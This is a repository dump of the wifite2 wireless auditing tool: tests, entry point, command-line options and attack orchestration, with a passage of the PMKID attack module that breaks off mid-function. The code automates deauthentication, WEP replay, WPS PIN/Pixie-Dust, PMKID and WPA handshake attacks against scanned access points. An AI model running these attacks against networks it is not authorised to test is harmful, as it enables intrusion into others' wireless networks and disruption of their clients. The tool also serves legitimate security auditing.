    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nsys.path.insert(0, '..')\n\nfrom wifite.tools.airodump import Airodump\n\nimport unittest\n\nclass TestAirodump(unittest.TestCase):\n    ''' Test suite for Wifite's interaction with the Airodump tool '''\n\n\n    def test_airodump_weird_characters(self):\n        csv_filename = self.getFile('airodump-weird-ssids.csv')\n        targets = Airodump.get_targets_from_csv(csv_filename)\n\n        target = targets[0]\n        expected = 'Comma, no trailing space'\n        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)\n\n        target = targets[1]\n        expected = '\"Quoted ESSID, Comma, no trailing spaces.   \"'\n        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)\n\n        target = targets[2]\n        expected = 'Comma, Trailing space '\n        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)\n\n        target = targets[3]\n        expected = '\"quote\" comma, trailing space '\n        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)\n\n        # Hidden access point\n        target = targets[4]\n        assert target.essid_known == False, 'ESSID full of null characters should not be known'\n        expected = None\n        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)\n        assert target.essid_len == 19, 'ESSID length shold be 19, but got %s' % target.essid_len\n\n\n    def getFile(self, filename):\n        ''' Helper method to parse targets from filename '''\n        import os, inspect\n        this_file = os.path.abspath(inspect.getsourcefile(self.getFile))\n        this_dir = os.path.dirname(this_file)\n        return os.path.join(this_dir, 'files', filename)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/test_Handshake.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nsys.path.insert(0, '..')\n\nfrom wifite.model.handshake import Handshake\nfrom wifite.util.process import Process\n\nimport unittest\n\nclass TestHandshake(unittest.TestCase):\n    ''' Test suite for Target parsing an generation '''\n\n    def getFile(self, filename):\n        ''' Helper method to parse targets from filename '''\n        import os, inspect\n        this_file = os.path.abspath(inspect.getsourcefile(self.getFile))\n        this_dir = os.path.dirname(this_file)\n        return os.path.join(this_dir, 'files', filename)\n\n    def testAnalyze(self):\n        hs_file = self.getFile('handshake_exists.cap')\n        hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')\n        try:\n            hs.analyze()\n        except Exception:\n            fail()\n\n    @unittest.skipUnless(Process.exists('tshark'), 'tshark is missing')\n    def testHandshakeTshark(self):\n        hs_file = self.getFile('handshake_exists.cap')\n        hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')\n        assert(len(hs.tshark_handshakes()) > 0)\n\n    @unittest.skipUnless(Process.exists('pyrit'), 'pyrit is missing')\n    def testHandshakePyrit(self):\n        hs_file = self.getFile('handshake_exists.cap')\n        hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')\n        assert(len(hs.pyrit_handshakes()) > 0)\n\n    @unittest.skipUnless(Process.exists('cowpatty'), 'cowpatty is missing')\n    def testHandshakeCowpatty(self):\n        hs_file = self.getFile('handshake_exists.cap')\n        hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')\n        hs.divine_bssid_and_essid()\n        assert(len(hs.cowpatty_handshakes()) > 0)\n\n    @unittest.skipUnless(Process.exists('aircrack-ng'), 'aircrack-ng is missing')\n    def testHandshakeAircrack(self):\n        hs_file = self.getFile('handshake_exists.cap')\n        hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')\n        assert(len(hs.aircrack_handshakes()) > 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n\n"
  },
  {
    "path": "tests/test_Target.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom wifite.tools.airodump import Airodump\n\nimport unittest\n\nclass TestTarget(unittest.TestCase):\n    ''' Test suite for Target parsing an generation '''\n\n    airodump_csv = 'airodump.csv'\n\n    def getTargets(self, filename):\n        ''' Helper method to parse targets from filename '''\n        import os, inspect\n        this_file = os.path.abspath(inspect.getsourcefile(TestTarget.getTargets))\n        this_dir = os.path.dirname(this_file)\n        csv_file = os.path.join(this_dir, 'files', filename)\n        # Load targets from CSV file\n        return Airodump.get_targets_from_csv(csv_file)\n\n    def testTargetParsing(self):\n        ''' Asserts target parsing finds targets '''\n        targets = self.getTargets(TestTarget.airodump_csv)\n        assert(len(targets) > 0)\n\n    def testTargetClients(self):\n        ''' Asserts target parsing captures clients properly '''\n        targets = self.getTargets(TestTarget.airodump_csv)\n        for t in targets:\n            if t.bssid == '00:1D:D5:9B:11:00':\n                assert(len(t.clients) > 0)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "wifite/__init__.py",
    "content": ""
  },
  {
    "path": "wifite/__main__.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\ntry:\n    from .config import Configuration\nexcept (ValueError, ImportError) as e:\n    raise Exception('You may need to run wifite from the root directory (which includes README.md)', e)\n\nfrom .util.color import Color\n\nimport os\nimport sys\n\n\nclass Wifite(object):\n\n    def __init__(self):\n        '''\n        Initializes Wifite. Checks for root permissions and ensures dependencies are installed.\n        '''\n\n        self.print_banner()\n\n        Configuration.initialize(load_interface=False)\n\n        if os.getuid() != 0:\n            Color.pl('{!} {R}error: {O}wifite{R} must be run as {O}root{W}')\n            Color.pl('{!} {R}re-run with {O}sudo{W}')\n            Configuration.exit_gracefully(0)\n\n        from .tools.dependency import Dependency\n        Dependency.run_dependency_check()\n\n\n    def start(self):\n        '''\n        Starts target-scan + attack loop, or launches utilities dpeending on user input.\n        '''\n        from .model.result import CrackResult\n        from .model.handshake import Handshake\n        from .util.crack import CrackHelper\n\n        if Configuration.show_cracked:\n            CrackResult.display()\n\n        elif Configuration.check_handshake:\n            Handshake.check()\n\n        elif Configuration.crack_handshake:\n            CrackHelper.run()\n\n        else:\n            Configuration.get_monitor_mode_interface()\n            self.scan_and_attack()\n\n\n    def print_banner(self):\n        '''Displays ASCII art of the highest caliber.'''\n        Color.pl(r' {G}  .     {GR}{D}     {W}{G}     .    {W}')\n        Color.pl(r' {G}.´  ·  .{GR}{D}     {W}{G}.  ·  `.  {G}wifite {D}%s{W}' % Configuration.version)\n        Color.pl(r' {G}:  :  : {GR}{D} (¯) {W}{G} :  :  :  {W}{D}automated wireless auditor{W}')\n        Color.pl(r' {G}`.  ·  `{GR}{D} /¯\\ {W}{G}´  ·  .´  {C}{D}https://github.com/derv82/wifite2{W}')\n        Color.pl(r' {G}  `     {GR}{D}/¯¯¯\\{W}{G}     ´    {W}')\n        Color.pl('')\n\n\n    def scan_and_attack(self):\n        '''\n        1) Scans for targets, asks user to select targets\n        2) Attacks each target\n        '''\n        from .util.scanner import Scanner\n        from .attack.all import AttackAll\n\n        Color.pl('')\n\n        # Scan\n        s = Scanner()\n        targets = s.select_targets()\n\n        # Attack\n        attacked_targets = AttackAll.attack_multiple(targets)\n\n        Color.pl('{+} Finished attacking {C}%d{W} target(s), exiting' % attacked_targets)\n\n\n##############################################################\n\n\ndef entry_point():\n    try:\n        wifite = Wifite()\n        wifite.start()\n    except Exception as e:\n        Color.pexception(e)\n        Color.pl('\\n{!} {R}Exiting{W}\\n')\n\n    except KeyboardInterrupt:\n        Color.pl('\\n{!} {O}Interrupted, Shutting down...{W}')\n\n    Configuration.exit_gracefully(0)\n\n\nif __name__ == '__main__':\n    entry_point()\n"
  },
  {
    "path": "wifite/args.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .util.color import Color\n\nimport argparse, sys\n\nclass Arguments(object):\n    ''' Holds arguments used by the Wifite '''\n\n    def __init__(self, configuration):\n        # Hack: Check for -v before parsing args; so we know which commands to display.\n        self.verbose = '-v' in sys.argv or '-hv' in sys.argv or '-vh' in sys.argv\n        self.config = configuration\n        self.args = self.get_arguments()\n\n    def _verbose(self, msg):\n        if self.verbose:\n            return Color.s(msg)\n        else:\n            return argparse.SUPPRESS\n\n    def get_arguments(self):\n        ''' Returns parser.args() containing all program arguments '''\n\n        parser = argparse.ArgumentParser(usage=argparse.SUPPRESS,\n                formatter_class=lambda prog: argparse.HelpFormatter(\n                    prog, max_help_position=80, width=130))\n\n        self._add_global_args(parser.add_argument_group(Color.s('{C}SETTINGS{W}')))\n        self._add_wep_args(parser.add_argument_group(Color.s('{C}WEP{W}')))\n        self._add_wpa_args(parser.add_argument_group(Color.s('{C}WPA{W}')))\n        self._add_wps_args(parser.add_argument_group(Color.s('{C}WPS{W}')))\n        self._add_pmkid_args(parser.add_argument_group(Color.s('{C}PMKID{W}')))\n        self._add_eviltwin_args(parser.add_argument_group(Color.s('{C}EVIL TWIN{W}')))\n        self._add_command_args(parser.add_argument_group(Color.s('{C}COMMANDS{W}')))\n\n        return parser.parse_args()\n\n\n    def _add_global_args(self, glob):\n        glob.add_argument('-v',\n            '--verbose',\n            action='count',\n            default=0,\n            dest='verbose',\n            help=Color.s('Shows more options ({C}-h -v{W}). Prints commands and ' +\n                'outputs. (default: {G}quiet{W})'))\n\n        glob.add_argument('-i',\n            action='store',\n            dest='interface',\n            metavar='[interface]',\n            type=str,\n            help=Color.s('Wireless interface to use, e.g. {C}wlan0mon{W} ' +\n                '(default: {G}ask{W})'))\n\n        glob.add_argument('-c',\n            action='store',\n            dest='channel',\n            metavar='[channel]',\n            type=int,\n            help=Color.s('Wireless channel to scan (default: {G}all 2Ghz channels{W})'))\n        glob.add_argument('--channel', help=argparse.SUPPRESS, action='store',\n                dest='channel', type=int)\n\n        glob.add_argument('-5',\n            '--5ghz',\n            action='store_true',\n            dest='five_ghz',\n            help=self._verbose('Include 5Ghz channels (default: {G}off{W})'))\n\n\n        glob.add_argument('-mac',\n            '--random-mac',\n            action='store_true',\n            dest='random_mac',\n            help=Color.s('Randomize wireless card MAC address (default: {G}off{W})'))\n\n        glob.add_argument('-p',\n            action='store',\n            dest='scan_time',\n            nargs='?',\n            const=10,\n            metavar='scan_time',\n            type=int,\n            help=Color.s('{G}Pillage{W}: Attack all targets after ' +\n                '{C}scan_time{W} (seconds)'))\n        glob.add_argument('--pillage', help=argparse.SUPPRESS, action='store',\n                dest='scan_time', nargs='?', const=10, type=int)\n\n        glob.add_argument('--kill',\n            action='store_true',\n            dest='kill_conflicting_processes',\n            help=Color.s('Kill processes that conflict with Airmon/Airodump ' +\n                '(default: {G}off{W})'))\n\n        glob.add_argument('-b',\n            action='store',\n            dest='target_bssid',\n            metavar='[bssid]',\n            type=str,\n            help=self._verbose('BSSID (e.g. {GR}AA:BB:CC:DD:EE:FF{W}) of access ' +\n                'point to attack'))\n        glob.add_argument('--bssid', help=argparse.SUPPRESS, action='store',\n                dest='target_bssid', type=str)\n\n        glob.add_argument('-e',\n            action='store',\n            dest='target_essid',\n            metavar='[essid]',\n            type=str,\n            help=self._verbose('ESSID (e.g. {GR}NETGEAR07{W}) of access point to attack'))\n        glob.add_argument('--essid', help=argparse.SUPPRESS, action='store',\n                dest='target_essid', type=str)\n\n        glob.add_argument('-E',\n            action='store',\n            dest='ignore_essid',\n            metavar='[text]',\n            type=str,\n            default=None,\n            help=self._verbose('Hides targets with ESSIDs that match the given text'))\n        glob.add_argument('--ignore-essid', help=argparse.SUPPRESS, action='store',\n                dest='ignore_essid', type=str)\n\n        glob.add_argument('--clients-only',\n            action='store_true',\n            dest='clients_only',\n            help=Color.s('Only show targets that have associated clients ' +\n                '(default: {G}off{W})'))\n\n        glob.add_argument('--showb',\n            action='store_true',\n            dest='show_bssids',\n            help=self._verbose('Show BSSIDs of targets while scanning'))\n\n        glob.add_argument('--nodeauths',\n            action='store_true',\n            dest='no_deauth',\n            help=Color.s('Passive mode: Never deauthenticates clients ' +\n                '(default: {G}deauth targets{W})'))\n        glob.add_argument('--no-deauths', action='store_true', dest='no_deauth',\n                help=argparse.SUPPRESS)\n        glob.add_argument('-nd',          action='store_true', dest='no_deauth',\n                help=argparse.SUPPRESS)\n\n        glob.add_argument('--num-deauths',\n            action='store',\n            type=int,\n            dest='num_deauths',\n            metavar='[num]',\n            default=None,\n            help=self._verbose('Number of deauth packets to send (default: ' +\n                '{G}%d{W})' % self.config.num_deauths))\n\n\n    def _add_eviltwin_args(self, group):\n        pass\n        '''\n        group.add_argument('--eviltwin',\n            action='store_true',\n            dest='use_eviltwin',\n            help=Color.s('Use the \"Evil Twin\" attack against all targets ' +\n                '(default: {G}off{W})'))\n        # TODO: Args to specify deauth interface, server port, etc.\n        '''\n\n\n    def _add_wep_args(self, wep):\n        # WEP\n        wep.add_argument('--wep',\n            action='store_true',\n            dest='wep_filter',\n            help=Color.s('Show only {C}WEP-encrypted networks{W}'))\n        wep.add_argument('-wep', help=argparse.SUPPRESS, action='store_true',\n                dest='wep_filter')\n\n        wep.add_argument('--require-fakeauth',\n            action='store_true',\n            dest='require_fakeauth',\n            help=Color.s('Fails attacks if {C}fake-auth{W} fails (default: {G}off{W})'))\n        wep.add_argument('--nofakeauth', help=argparse.SUPPRESS, action='store_true',\n                dest='require_fakeauth')\n        wep.add_argument('-nofakeauth', help=argparse.SUPPRESS, action='store_true',\n                dest='require_fakeauth')\n\n        wep.add_argument('--keep-ivs',\n            action='store_true',\n            dest='wep_keep_ivs',\n            default=False,\n            help=Color.s('Retain .IVS files and reuse when cracking ' +\n                '(default: {G}off{W})'))\n\n        wep.add_argument('--pps',\n            action='store',\n            dest='wep_pps',\n            metavar='[pps]',\n            type=int,\n            help=self._verbose('Packets-per-second to replay (default: ' +\n                '{G}%d pps{W})' % self.config.wep_pps))\n        wep.add_argument('-pps', help=argparse.SUPPRESS, action='store',\n                dest='wep_pps', type=int)\n\n        wep.add_argument('--wept',\n            action='store',\n            dest='wep_timeout',\n            metavar='[seconds]',\n            type=int,\n            help=self._verbose('Seconds to wait before failing (default: ' +\n                '{G}%d sec{W})' % self.config.wep_timeout))\n        wep.add_argument('-wept', help=argparse.SUPPRESS, action='store',\n                dest='wep_timeout', type=int)\n\n        wep.add_argument('--wepca',\n            action='store',\n            dest='wep_crack_at_ivs',\n            metavar='[ivs]',\n            type=int,\n            help=self._verbose('Start cracking at this many IVs (default: ' +\n                '{G}%d ivs{W})' % self.config.wep_crack_at_ivs))\n        wep.add_argument('-wepca', help=argparse.SUPPRESS, action='store',\n                dest='wep_crack_at_ivs', type=int)\n\n        wep.add_argument('--weprs',\n            action='store',\n            dest='wep_restart_stale_ivs',\n            metavar='[seconds]',\n            type=int,\n            help=self._verbose('Restart aireplay if no new IVs appear (default: ' +\n                '{G}%d sec{W})' % self.config.wep_restart_stale_ivs))\n        wep.add_argument('-weprs', help=argparse.SUPPRESS, action='store',\n                dest='wep_restart_stale_ivs', type=int)\n\n        wep.add_argument('--weprc',\n            action='store',\n            dest='wep_restart_aircrack',\n            metavar='[seconds]',\n            type=int,\n            help=self._verbose('Restart aircrack after this delay (default: ' +\n                '{G}%d sec{W})' % self.config.wep_restart_aircrack))\n        wep.add_argument('-weprc', help=argparse.SUPPRESS, action='store',\n                dest='wep_restart_aircrack', type=int)\n\n        wep.add_argument('--arpreplay',\n            action='store_true',\n            dest='wep_attack_replay',\n            help=self._verbose('Use {C}ARP-replay{W} WEP attack (default: {G}on{W})'))\n        wep.add_argument('-arpreplay', help=argparse.SUPPRESS, action='store_true',\n                dest='wep_attack_replay')\n\n        wep.add_argument('--fragment',\n            action='store_true',\n            dest='wep_attack_fragment',\n            help=self._verbose('Use {C}fragmentation{W} WEP attack (default: {G}on{W})'))\n        wep.add_argument('-fragment', help=argparse.SUPPRESS, action='store_true',\n                dest='wep_attack_fragment')\n\n        wep.add_argument('--chopchop',\n            action='store_true',\n            dest='wep_attack_chopchop',\n            help=self._verbose('Use {C}chop-chop{W} WEP attack (default: {G}on{W})'))\n        wep.add_argument('-chopchop', help=argparse.SUPPRESS, action='store_true',\n                dest='wep_attack_chopchop')\n\n        wep.add_argument('--caffelatte',\n            action='store_true',\n            dest='wep_attack_caffe',\n            help=self._verbose('Use {C}caffe-latte{W} WEP attack (default: {G}on{W})'))\n        wep.add_argument('-caffelatte', help=argparse.SUPPRESS, action='store_true',\n                dest='wep_attack_caffelatte')\n\n        wep.add_argument('--p0841',\n            action='store_true',\n            dest='wep_attack_p0841',\n            help=self._verbose('Use {C}p0841{W} WEP attack (default: {G}on{W})'))\n        wep.add_argument('-p0841', help=argparse.SUPPRESS, action='store_true',\n                dest='wep_attack_p0841')\n\n        wep.add_argument('--hirte',\n            action='store_true',\n            dest='wep_attack_hirte',\n            help=self._verbose('Use {C}hirte{W} WEP attack (default: {G}on{W})'))\n        wep.add_argument('-hirte', help=argparse.SUPPRESS, action='store_true',\n                dest='wep_attack_hirte')\n\n\n    def _add_wpa_args(self, wpa):\n        wpa.add_argument('--wpa',\n            action='store_true',\n            dest='wpa_filter',\n            help=Color.s('Show only {C}WPA-encrypted networks{W} (includes {C}WPS{W})'))\n        wpa.add_argument('-wpa', help=argparse.SUPPRESS, action='store_true',\n                dest='wpa_filter')\n\n        wpa.add_argument('--hs-dir',\n            action='store',\n            dest='wpa_handshake_dir',\n            metavar='[dir]',\n            type=str,\n            help=self._verbose('Directory to store handshake files ' +\n                '(default: {G}%s{W})' % self.config.wpa_handshake_dir))\n        wpa.add_argument('-hs-dir', help=argparse.SUPPRESS, action='store',\n                dest='wpa_handshake_dir', type=str)\n\n        wpa.add_argument('--new-hs',\n            action='store_true',\n            dest='ignore_old_handshakes',\n            help=Color.s('Captures new handshakes, ignores existing handshakes ' +\n                'in {C}%s{W} (default: {G}off{W})' % self.config.wpa_handshake_dir))\n\n        wpa.add_argument('--dict',\n            action='store',\n            dest='wordlist',\n            metavar='[file]',\n            type=str,\n            help=Color.s('File containing passwords for cracking (default: {G}%s{W})')\n                % self.config.wordlist)\n\n        wpa.add_argument('--wpadt',\n            action='store',\n            dest='wpa_deauth_timeout',\n            metavar='[seconds]',\n            type=int,\n            help=self._verbose('Time to wait between sending Deauths ' +\n                '(default: {G}%d sec{W})' % self.config.wpa_deauth_timeout))\n        wpa.add_argument('-wpadt', help=argparse.SUPPRESS, action='store',\n                dest='wpa_deauth_timeout', type=int)\n\n        wpa.add_argument('--wpat',\n            action='store',\n            dest='wpa_attack_timeout',\n            metavar='[seconds]',\n            type=int,\n            help=self._verbose('Time to wait before failing WPA attack ' +\n                '(default: {G}%d sec{W})' % self.config.wpa_attack_timeout))\n        wpa.add_argument('-wpat', help=argparse.SUPPRESS, action='store',\n                dest='wpa_attack_timeout', type=int)\n\n        # TODO: Uncomment the --strip option once it works\n        '''\n        wpa.add_argument('--strip',\n            action='store_true',\n            dest='wpa_strip_handshake',\n            default=False,\n            help=Color.s('Strip unnecessary packets from handshake capture using tshark'))\n        '''\n        wpa.add_argument('-strip', help=argparse.SUPPRESS, action='store_true',\n                dest='wpa_strip_handshake')\n\n\n    def _add_wps_args(self, wps):\n        wps.add_argument('--wps',\n            action='store_true',\n            dest='wps_filter',\n            help=Color.s('Show only {C}WPS-enabled networks{W}'))\n        wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true',\n                dest='wps_filter')\n\n        wps.add_argument('--no-wps',\n            action='store_true',\n            dest='no_wps',\n            help=self._verbose('{O}Never{W} use {O}WPS PIN{W} & {O}Pixie-Dust{W}' +\n                'attacks on targets (default: {G}off{W})'))\n\n        wps.add_argument('--wps-only',\n            action='store_true',\n            dest='wps_only',\n            help=Color.s('{O}Only{W} use {C}WPS PIN{W} & {C}Pixie-Dust{W} ' +\n                'attacks (default: {G}off{W})'))\n\n        wps.add_argument('--pixie',    action='store_true', dest='wps_pixie',\n            help=self._verbose('{O}Only{W} use {C}WPS Pixie-Dust{W} attack ' +\n                '(do not use {O}PIN attack{W})'))\n\n        wps.add_argument('--no-pixie', action='store_true', dest='wps_no_pixie',\n            help=self._verbose('{O}Never{W} use {O}WPS Pixie-Dust{W} attack ' +\n                '(use {G}PIN attack{W})'))\n\n        wps.add_argument('--bully',\n            action='store_true',\n            dest='use_bully',\n            help=Color.s('Use {G}bully{W} program for WPS PIN & Pixie-Dust attacks ' +\n                '(default: {G}reaver{W})'))\n        # Alias\n        wps.add_argument('-bully', help=argparse.SUPPRESS, action='store_true',\n                dest='use_bully')\n\n        # Ignore lock-outs\n        wps.add_argument('--ignore-locks', action='store_true', dest='wps_ignore_lock',\n            help=Color.s('Do {O}not{W} stop WPS PIN attack if AP becomes {O}locked{W} ' +\n                ' (default: {G}stop{W})'))\n\n        # Time limit on entire attack.\n        wps.add_argument('--wps-time',\n            action='store',\n            dest='wps_pixie_timeout',\n            metavar='[sec]',\n            type=int,\n            help=self._verbose('Total time to wait before failing PixieDust attack ' +\n                '(default: {G}%d sec{W})' % self.config.wps_pixie_timeout))\n        # Alias\n        wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store',\n                dest='wps_pixie_timeout', type=int)\n\n        # Maximum number of 'failures' (WPSFail)\n        wps.add_argument('--wps-fails',\n            action='store',\n            dest='wps_fail_threshold',\n            metavar='[num]',\n            type=int,\n            help=self._verbose('Maximum number of WPSFail/NoAssoc errors before ' +\n                'failing (default: {G}%d{W})' % self.config.wps_fail_threshold))\n        # Alias\n        wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store',\n                dest='wps_fail_threshold', type=int)\n\n        # Maximum number of 'timeouts'\n        wps.add_argument('--wps-timeouts',\n            action='store',\n            dest='wps_timeout_threshold',\n            metavar='[num]',\n            type=int,\n            help=self._verbose('Maximum number of Timeouts before failing ' +\n                '(default: {G}%d{W})' % self.config.wps_timeout_threshold))\n        # Alias\n        wps.add_argument('-wpsto', help=argparse.SUPPRESS, action='store',\n                dest='wps_timeout_threshold', type=int)\n\n    def _add_pmkid_args(self, pmkid):\n        pmkid.add_argument('--pmkid',\n                         action='store_true',\n                         dest='use_pmkid_only',\n                         help=Color.s('{O}Only{W} use {C}PMKID capture{W}, avoids other WPS & ' +\n                                      'WPA attacks (default: {G}off{W})'))\n        # Alias\n        pmkid.add_argument('-pmkid', help=argparse.SUPPRESS, action='store_true', dest='use_pmkid_only')\n\n        pmkid.add_argument('--pmkid-timeout',\n                         action='store',\n                         dest='pmkid_timeout',\n                         metavar='[sec]',\n                         type=int,\n                         help=Color.s('Time to wait for PMKID capture ' +\n                                      '(default: {G}%d{W} seconds)' % self.config.pmkid_timeout))\n\n    def _add_command_args(self, commands):\n        commands.add_argument('--cracked',\n            action='store_true',\n            dest='cracked',\n            help=Color.s('Print previously-cracked access points'))\n        commands.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true',\n                dest='cracked')\n\n        commands.add_argument('--check',\n            action='store',\n            metavar='file',\n            nargs='?',\n            const='<all>',\n            dest='check_handshake',\n            help=Color.s('Check a {C}.cap file{W} (or all {C}hs/*.cap{W} files) ' +\n                'for WPA handshakes'))\n        commands.add_argument('-check', help=argparse.SUPPRESS, action='store',\n                nargs='?', const='<all>', dest='check_handshake')\n\n        commands.add_argument('--crack',\n            action='store_true',\n            dest='crack_handshake',\n            help=Color.s('Show commands to crack a captured handshake'))\n\nif __name__ == '__main__':\n    from .util.color import Color\n    from .config import Configuration\n    Configuration.initialize(False)\n    a = Arguments(Configuration)\n    args = a.args\n    for (key,value) in sorted(args.__dict__.items()):\n        Color.pl('{C}%s: {G}%s{W}' % (key.ljust(21),value))\n\n"
  },
  {
    "path": "wifite/attack/__init__.py",
    "content": ""
  },
  {
    "path": "wifite/attack/all.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .wep import AttackWEP\nfrom .wpa import AttackWPA\nfrom .wps import AttackWPS\nfrom .pmkid import AttackPMKID\nfrom ..config import Configuration\nfrom ..util.color import Color\n\nclass AttackAll(object):\n\n    @classmethod\n    def attack_multiple(cls, targets):\n        '''\n        Attacks all given `targets` (list[wifite.model.target]) until user interruption.\n        Returns: Number of targets that were attacked (int)\n        '''\n        if any(t.wps for t in targets) and not AttackWPS.can_attack_wps():\n            # Warn that WPS attacks are not available.\n            Color.pl('{!} {O}Note: WPS attacks are not possible because you do not have {C}reaver{O} nor {C}bully{W}')\n\n        attacked_targets = 0\n        targets_remaining = len(targets)\n        for index, target in enumerate(targets, start=1):\n            attacked_targets += 1\n            targets_remaining -= 1\n\n            bssid = target.bssid\n            essid = target.essid if target.essid_known else '{O}ESSID unknown{W}'\n\n            Color.pl('\\n{+} ({G}%d{W}/{G}%d{W})' % (index, len(targets)) +\n                     ' Starting attacks against {C}%s{W} ({C}%s{W})' % (bssid, essid))\n\n            should_continue = cls.attack_single(target, targets_remaining)\n            if not should_continue:\n                break\n\n        return attacked_targets\n\n    @classmethod\n    def attack_single(cls, target, targets_remaining):\n        '''\n        Attacks a single `target` (wifite.model.target).\n        Returns: True if attacks should continue, False otherwise.\n        '''\n\n        attacks = []\n\n        if Configuration.use_eviltwin:\n            # TODO: EvilTwin attack\n            pass\n\n        elif 'WEP' in target.encryption:\n            attacks.append(AttackWEP(target))\n\n        elif 'WPA' in target.encryption:\n            # WPA can have multiple attack vectors:\n\n            # WPS\n            if not Configuration.use_pmkid_only:\n                if target.wps != False and AttackWPS.can_attack_wps():\n                    # Pixie-Dust\n                    if Configuration.wps_pixie:\n                        attacks.append(AttackWPS(target, pixie_dust=True))\n\n                    # PIN attack\n                    if Configuration.wps_pin:\n                        attacks.append(AttackWPS(target, pixie_dust=False))\n\n            if not Configuration.wps_only:\n                # PMKID\n                attacks.append(AttackPMKID(target))\n\n                # Handshake capture\n                if not Configuration.use_pmkid_only:\n                    attacks.append(AttackWPA(target))\n\n        if len(attacks) == 0:\n            Color.pl('{!} {R}Error: {O}Unable to attack: no attacks available')\n            return True  # Keep attacking other targets (skip)\n\n        while len(attacks) > 0:\n            attack = attacks.pop(0)\n            try:\n                result = attack.run()\n                if result:\n                    break  # Attack was successful, stop other attacks.\n            except Exception as e:\n                Color.pexception(e)\n                continue\n            except KeyboardInterrupt:\n                Color.pl('\\n{!} {O}Interrupted{W}\\n')\n                answer = cls.user_wants_to_continue(targets_remaining, len(attacks))\n                if answer is True:\n                    continue  # Keep attacking the same target (continue)\n                elif answer is None:\n                    return True  # Keep attacking other targets (skip)\n                else:\n                    return False  # Stop all attacks (exit)\n\n        if attack.success:\n            attack.crack_result.save()\n\n        return True  # Keep attacking other targets\n\n\n    @classmethod\n    def user_wants_to_continue(cls, targets_remaining, attacks_remaining=0):\n        '''\n        Asks user if attacks should continue onto other targets\n        Returns:\n            True if user wants to continue, False otherwise.\n        '''\n        if attacks_remaining == 0 and targets_remaining == 0:\n            return  # No targets or attacksleft, drop out\n\n        prompt_list = []\n        if attacks_remaining > 0:\n            prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining))\n        if targets_remaining > 0:\n            prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining))\n        prompt = ' and '.join(prompt_list) + ' remain'\n        Color.pl('{+} %s' % prompt)\n\n        prompt = '{+} Do you want to'\n        options = '('\n\n        if attacks_remaining > 0:\n            prompt += ' {G}continue{W} attacking,'\n            options += '{G}C{W}{D}, {W}'\n\n        if targets_remaining > 0:\n            prompt += ' {O}skip{W} to the next target,'\n            options += '{O}s{W}{D}, {W}'\n\n        options += '{R}e{W})'\n        prompt += ' or {R}exit{W} %s? {C}' % options\n\n        from ..util.input import raw_input\n        answer = raw_input(Color.s(prompt)).lower()\n\n        if answer.startswith('s'):\n            return None  # Skip\n        elif answer.startswith('e'):\n            return False  # Exit\n        else:\n            return True  # Continue\n\n"
  },
  {
    "path": "wifite/attack/pmkid.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..model.attack import Attack\nfrom ..config import Configuration\nfrom ..tools.hashcat import HcxDumpTool, HcxPcapTool, Hashcat\nfrom ..util.color import Color\nfrom ..util.timer import Timer\nfrom ..model.pmkid_result import CrackResultPMKID\n\nfrom threading import Thread\nimport os\nimport time\nimport re\n\n\nclass AttackPMKID(Attack):\n\n    def __init__(self, target):\n        super(AttackPMKID, self).__init__(target)\n        self.crack_result = None\n        self.success = False\n        self.pcapng_file = Configuration.temp('pmkid.pcapng')\n\n\n    def get_existing_pmkid_file(self, bssid):\n        '''\n        Load PMKID Hash from a previously-captured hash in ./hs/\n        Returns:\n            The hashcat hash (hash*bssid*station*essid) if found.\n            None if not found.\n        '''\n        if not os.path.exists(Configuration.wpa_handshake_dir):\n            return None\n\n        bssid = bssid.lower().replace(':', '')\n\n        file_re = re.compile('.*pmkid_.*\\.16800')\n        for filename in os.listdir(Configuration.wpa_handshake_dir):\n            pmkid_filename = os.path.join(Configuration.wpa_handshake_dir, filename)\n            if not os.path.isfile(pmkid_filename):\n                continue\n            if not re.match(file_re, pmkid_filename):\n                continue\n\n            with open(pmkid_filename, 'r') as pmkid_handle:\n                pmkid_hash = pmkid_handle.read().strip()\n                if pmkid_hash.count('*') < 3:\n                    continue\n                existing_bssid = pmkid_hash.split('*')[1].lower().replace(':', '')\n                if existing_bssid == bssid:\n                    return pmkid_filename\n        return None\n\n\n    def run(self):\n        '''\n        Performs PMKID attack, if possible.\n            1) Captures PMKID hash (or re-uses existing hash if found).\n            2) Cracks the hash.\n\n        Returns:\n            True if handshake is captured. False otherwise.\n        '''\n        from ..util.process import Process\n        # Check that we have all hashcat programs\n        dependencies = [\n            Hashcat.dependency_name,\n            HcxDumpTool.dependency_name,\n            HcxPcapTool.dependency_name\n        ]\n        missing_deps = [dep for dep in dependencies if not Process.exists(dep)]\n        if len(missing_deps) > 0:\n            Color.pl('{!} Skipping PMKID attack, missing required tools: {O}%s{W}' % ', '.join(missing_deps))\n            return False\n\n        pmkid_file = None\n\n        if Configuration.ignore_old_handshakes == False:\n            # Load exisitng PMKID hash from filesystem\n            